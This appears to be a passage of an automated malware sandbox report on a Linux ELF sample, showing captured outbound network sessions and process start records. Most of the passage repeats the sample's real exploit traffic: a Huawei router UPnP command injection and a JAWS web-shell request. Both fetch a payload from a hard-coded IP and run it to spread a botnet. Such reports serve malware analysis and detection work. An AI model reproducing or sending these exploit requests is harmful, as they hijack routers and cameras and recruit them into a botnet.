6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	46030	156.148.67.239	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.200514078 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	36290	137.46.73.168	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.243339062 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	53756	36.229.215.172	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.244437933 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	41200	223.63.237.131	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.245501995 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	44646	155.83.97.123	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.246476889 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	52198	154.189.149.132	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.247499943 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	55058	41.151.2.41	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.268636942 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	44162	41.31.159.219	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.270392895 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	37556	156.34.154.136	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.296497107 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	37180	41.248.6.88	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.298666000 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	41506	41.97.33.14	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.328639984 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	44544	197.32.90.183	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:18.194730997 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	45246	130.143.3.66	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:18.226181030 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	45762	79.42.6.55	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:18.230396032 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	36206	221.110.37.119	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:18.256513119 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	34272	156.19.5.207	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:18.351339102 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: na.elf PID: 5496, Parent PID: 5414

General

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:09
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
